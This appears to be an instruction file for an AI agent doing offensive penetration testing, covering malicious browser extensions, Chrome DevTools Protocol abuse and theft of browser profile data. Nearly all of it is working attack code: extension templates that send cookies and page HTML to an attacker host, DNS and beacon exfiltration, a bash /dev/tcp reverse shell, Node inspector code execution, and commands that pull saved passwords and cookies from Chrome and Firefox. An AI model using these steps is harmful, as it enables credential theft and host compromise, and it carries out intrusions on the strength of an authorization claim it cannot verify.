| name | browser-exploitation |
| description | Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts.
|
| keywords | ["chrome extension","firefox extension","manifest v3","manifest v2","content_script","service_worker","background script","devtools protocol","CDP","remote debugging","port 9222","browser cache","browser profile","cookies sqlite","login data","headless chrome","puppeteer","selenium","playwright"] |
| tools | ["curl","chrome","chromium"] |
| opsec | medium |
Browser Exploitation
You are helping a penetration tester exploit browser-based attack surfaces. This
covers three attack areas: malicious browser extension crafting (for bot/upload
scenarios), Chrome DevTools Protocol abuse (exposed debug ports), and browser
profile data extraction (post-exploit). All testing is under explicit written
authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[browser-exploitation] Activated → <target> to the screen on activation.
- Evidence → save significant output to
engagement/evidence/ with
descriptive filenames (e.g., extension-exfil-cookies.txt, cdp-file-read.txt).
Scope Boundary
This skill covers browser-based exploitation — extension crafting, CDP abuse,
and profile extraction. When you reach the boundary of this scope — whether
through completing your methodology or discovering findings outside your domain — STOP.
Do not load or execute another skill. Do not continue past your scope boundary.
Instead, return to the orchestrator with:
- What was found (vulns, credentials, access gained)
- Context to pass (injection point, target, working payloads, etc.)
The orchestrator decides what runs next. Your job is to execute this skill
thoroughly and return clean findings.
Stay in methodology. Only use techniques documented in this skill. If you
encounter a scenario not covered here, note it and return — do not improvise
attacks, write custom exploit code, or apply techniques from other domains.
The orchestrator will provide specific guidance or route to a different skill.
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
State Writes
Write actionable findings immediately via state so the orchestrator
can react in real time:
add_credential() — cookies, tokens, saved passwords extracted
add_vuln() — confirmed CDP access, extension RCE, profile extraction
add_pivot() — internal services discovered via extension or CDP
add_blocked() — techniques attempted and failed
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Tool Requirements (Local-Only)
NEVER download, clone, install, or build tools. The operator's attackbox
has a curated toolset — do not modify it. If a tool required by this skill is
not installed, STOP and return to the orchestrator with the missing tool name.
Prerequisites
Prerequisites vary by attack area:
- Section A (Extensions): Extension upload endpoint or bot that loads
attacker-supplied extensions. Knowledge of manifest version (V2 or V3).
- Section B (CDP): Exposed Chrome DevTools or Node.js inspector port
(9222, 9229, or similar).
- Section C (Profile Extraction): Shell access on a host with a browser
installed (Chrome, Chromium, Firefox).
Step 1: Assess
Determine which attack vector applies:
- Extension upload endpoint found (upload form, API accepting .zip/.crx)
→ proceed to Step 2 (Section A)
- Exposed debug port (9222, 9229, other debug ports detected by nmap)
→ proceed to Step 3 (Section B)
- Shell access with browser installed (post-exploit credential harvesting)
→ proceed to Step 4 (Section C)
If the orchestrator provided context specifying which section, skip directly
to it.
Step 2: Malicious Extension Crafting (Section A)
2a: Egress Check
Before crafting exploit extensions, determine what outbound channels reach
your attackbox. This prevents wasting iterations on blocked exfil methods.
Create a test extension that tries multiple egress methods:
Manifest V3 egress test:
{
"manifest_version": 3,
"name": "Egress Test",
"version": "1.0",
"permissions": ["activeTab"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["test.js"]
}]
}
test.js:
fetch('http://ATTACKBOX:PORT/egress-http', {method: 'POST', body: 'ok'})
.catch(()=>{});
new Image().src = 'http://egress-dns.ATTACKER_DOMAIN/pixel.gif';
try { new WebSocket('ws://ATTACKBOX:PORT/egress-ws'); } catch(e) {}
Start an HTTP listener on your attackbox (python3 -m http.server PORT) and
check which callbacks arrive. Use the first method that works.
Egress priority:
fetch() POST to attacker HTTP listener — most reliable, largest payloads
- DNS exfil via subdomain lookups — works when HTTP is blocked
- WebSocket to attacker — persistent connection for streaming data
navigator.sendBeacon() — fire-and-forget, limited payload size
2b: Manifest V3 Extension Template
Modern Chrome uses Manifest V3. Content scripts run in page context; service
workers handle background logic.
manifest.json:
{
"manifest_version": 3,
"name": "Helper",
"version": "1.0",
"permissions": ["activeTab", "cookies", "storage"],
"host_permissions": ["<all_urls>"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}],
"background": {
"service_worker": "bg.js"
}
Content script patterns (content.js):
let data = {
url: location.href,
cookies: document.cookie,
html: document.documentElement.innerHTML.substring(0, 5000)
};
fetch('http://ATTACKBOX:PORT/exfil', {
method: 'POST',
body: JSON.stringify(data)
});
Service worker patterns (bg.js) — internal service access:
const targets = [
'http://localhost:3000/',
'http://localhost:5000/',
'http://127.0.0.1:8080/',
'http://INTERNAL_HOST:PORT/'
];
Promise.all(targets.map(u =>
fetch(u).then(r => r.text()).then(body => ({url: u, body: body.substring(0, 3000)}))
.catch(e => ({url: u, error: e.message}))
)).then(results => {
fetch('http://ATTACKBOX:PORT/internal', {
method: 'POST',
body: JSON.stringify(results)
});
});
2c: Manifest V2 Extension Template
Older environments may require Manifest V2 (background page instead of service
worker).
manifest.json:
{
"manifest_version": 2,
"name": "Helper",
"version": "1.0",
"permissions": ["<all_urls>", "cookies", "activeTab"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}],
"background": {
"scripts": ["bg.js"],
"persistent": false
}
Content script and background script logic is the same as V3, but V2
background scripts have full DOM access (document, XMLHttpRequest).
2d: Packaging
Extensions must be packaged as a flat ZIP — files at the root, no
subdirectory wrapper.
cd /tmp/extension && zip -r /tmp/extension.zip .
zip -r /tmp/extension.zip /tmp/extension/
Verify structure: unzip -l /tmp/extension.zip should show manifest.json at
the top level, not extension/manifest.json.
2e: Exfiltration Patterns
HTTP POST (preferred):
fetch('http://ATTACKBOX:PORT/exfil', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({cookies: document.cookie, url: location.href})
});
DNS exfil (when HTTP is blocked):
let encoded = btoa(document.cookie).replace(/[^a-zA-Z0-9]/g, '');
let chunks = encoded.match(/.{1,60}/g) || [];
chunks.forEach((c, i) => {
new Image().src = `http://${i}-${c}.ATTACKER_DOMAIN/p.gif`;
});
Beacon (fire-and-forget):
navigator.sendBeacon('http://ATTACKBOX:PORT/beacon',
new Blob([JSON.stringify({data: document.cookie})], {type: 'text/plain'}));
2f: Reverse Shell via Extension
When the bot runs on a host where you need shell access:
fetch('http://localhost:5000/vulnerable-endpoint', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'cmd=' + encodeURIComponent('bash -c "bash -i >& /dev/tcp/ATTACKBOX/PORT 0>&1"')
});
If the extension itself needs to deliver a reverse shell (e.g., via a
discovered internal command injection), use the egress-tested port from Step 2a.
Shell method priority: mkfifo+nc > bash /dev/tcp > python socket.
Try at most 3 ports before changing method. Do not iterate blindly.
2g: Common Constraints
- Timeouts: Bots often kill extensions after 10–30 seconds. Pack all
commands into the initial content_script execution. Use
Promise.all() for
parallel fetches.
- URL character restrictions: Upload endpoints may reject
/, >, < in
filenames or paths. Use POST body instead of URL parameters for payloads.
- Same-origin policy: Content scripts share the page's origin. Service
workers can fetch cross-origin with
host_permissions: ["<all_urls>"].
- HTTPS → HTTP: Content scripts on HTTPS pages cannot fetch HTTP URLs
(mixed content). Use the service worker for cross-protocol requests.
Step 3: Chrome DevTools Protocol (Section B)
3a: Discovery
curl -s http://TARGET:9222/json/version
curl -s http://TARGET:9222/json
curl -s http://TARGET:9229/json
The /json endpoint returns a list of open tabs with WebSocket debug URLs.
3b: Page Interaction via WebSocket
Use the webSocketDebuggerUrl from /json to interact with browser tabs:
PAGES=$(curl -s http://TARGET:9222/json)
WS_URL=$(echo "$PAGES" | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")
Evaluate JavaScript in page context:
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"document.cookie"}}' \
| websocat "$WS_URL"
Python one-liner for CDP interaction:
import json, asyncio, websockets
async def cdp(ws_url, expr):
async with websockets.connect(ws_url) as ws:
await ws.send(json.dumps({"id":1,"method":"Runtime.evaluate","params":{"expression":expr}}))
return json.loads(await ws.recv())
3c: Cookie Extraction
echo '{"id":1,"method":"Network.getAllCookies"}' | websocat "$WS_URL"
3d: File Read
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"fetch(\"file:///etc/passwd\").then(r=>r.text())"}}' \
| websocat "$WS_URL"
3e: Node.js Inspector RCE (Port 9229)
Node.js inspector allows direct code execution:
WS_URL=$(curl -s http://TARGET:9229/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"require(\"child_process\").execSync(\"id\").toString()"}}' \
| websocat "$WS_URL"
After confirming RCE, establish a reverse shell via the Shell Access workflow
(start_listener → send reverse shell command → stabilize).
Step 4: Browser Profile Extraction (Section C)
4a: Locate Profiles
Chrome/Chromium:
ls -la ~/.config/google-chrome/Default/ 2>/dev/null
ls -la ~/.config/chromium/Default/ 2>/dev/null
find /home -path "*/google-chrome/Default" -o -path "*/chromium/Default" 2>/dev/null
dir "%LOCALAPPDATA%\Google\Chrome\User Data\Default" 2>nul
dir "%LOCALAPPDATA%\Chromium\User Data\Default" 2>nul
ls ~/Library/Application\ Support/Google/Chrome/Default/
Firefox:
find ~/.mozilla/firefox -name "*.default*" -type d 2>/dev/null
dir "%APPDATA%\Mozilla\Firefox\Profiles" 2>nul
ls ~/Library/Application\ Support/Firefox/Profiles/
4b: Extract Cookies
cp ~/.config/google-chrome/Default/Cookies /tmp/cookies.db
sqlite3 /tmp/cookies.db "SELECT host_key, name, encrypted_value FROM cookies;"
cp ~/.mozilla/firefox/*.default*/cookies.sqlite /tmp/ff-cookies.db
sqlite3 /tmp/ff-cookies.db "SELECT host, name, value FROM moz_cookies;"
4c: Extract Saved Passwords
Chrome (Linux — encrypted with libsecret):
cp ~/.config/google-chrome/Default/"Login Data" /tmp/logins.db
sqlite3 /tmp/logins.db "SELECT origin_url, username_value, hex(password_value) FROM logins;"
Chrome encrypts passwords with OS-specific methods:
- Linux: libsecret (GNOME Keyring) or kwallet — decrypt with
secretstorage
Python module or extract the key from ~/.local/share/keyrings/
- Windows: DPAPI — decrypt with
dpapi.py (Impacket) or mimikatz
- macOS: Keychain —
security find-generic-password -w -s "Chrome Safe Storage"
Firefox saved passwords:
cp ~/.mozilla/firefox/*.default*/key4.db /tmp/
cp ~/.mozilla/firefox/*.default*/logins.json /tmp/
4d: Extract History and Other Data
cp ~/.config/google-chrome/Default/History /tmp/history.db
sqlite3 /tmp/history.db "SELECT url, title, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 50;"
sqlite3 /tmp/history.db "SELECT name, value FROM autofill;" 2>/dev/null
cat ~/.config/google-chrome/Default/Bookmarks | python3 -m json.tool
Step 5: Escalate or Pivot
After completing the applicable section:
- Credentials found (cookies, passwords, API tokens): STOP. Return to
orchestrator with credentials. The orchestrator records them and decides
where to use them.
- Internal services discovered (via extension SSRF or CDP): STOP. Return
to orchestrator recommending web-discovery for new targets. Pass:
internal URLs, any cookies/tokens for access.
- Shell obtained (via CDP RCE or extension-delivered reverse shell): STOP.
Return to orchestrator. Pass: session ID, user context, host info.
- Browser profile extracted: STOP. Return to orchestrator with extracted
credentials and session cookies for credential reuse.
Troubleshooting
Extension not loading
- "manifest.json not found": ZIP has a subdirectory wrapper. Repackage as
flat ZIP with
manifest.json at root (see Step 2d).
- "Manifest version not supported": Target browser doesn't support the
manifest version. Try V2 if V3 fails, or vice versa.
- "Permission denied": Remove unnecessary permissions from manifest.
Start minimal (
activeTab only) and add as needed.
- Content script not executing: Check
matches pattern. Use
"<all_urls>" for broadest coverage. Verify run_at timing.
Exfiltration not landing
- No HTTP callback: Run egress check (Step 2a) first. The bot's network
may block outbound HTTP. Try DNS exfil or WebSocket.
- CORS errors in console: Content scripts are not subject to CORS for
fetch() when host_permissions includes the target. Service workers
bypass CORS entirely with proper permissions.
- Mixed content blocked: HTTPS page cannot load HTTP resources. Use the
service worker for HTTP fetches, or exfil to an HTTPS endpoint.
- Bot timeout: Pack all logic into initial execution. Avoid
setTimeout() or sequential fetches. Use Promise.all().
CDP WebSocket connection refused
- Port open but no WebSocket: The
/json endpoint may require a specific
host header. Try curl -H "Host: localhost" http://TARGET:9222/json.
- Empty page list: Browser may have no open tabs. Try
/json/new?http://TARGET to open a new tab (if permitted).
- "websocat not found": Use Python websockets library instead, or
curl with upgrade headers for simple one-shot commands.
Profile database locked
- "database is locked": The browser is running. Copy the database file
to
/tmp/ before reading: cp Cookies /tmp/cookies.db.
- Encrypted values: Chrome encrypts cookie values and passwords. On Linux,
the encryption key is in GNOME Keyring. On Windows, use DPAPI. Extract the
raw hex values and note the encryption method in your return summary — the
orchestrator will route to the appropriate decryption approach.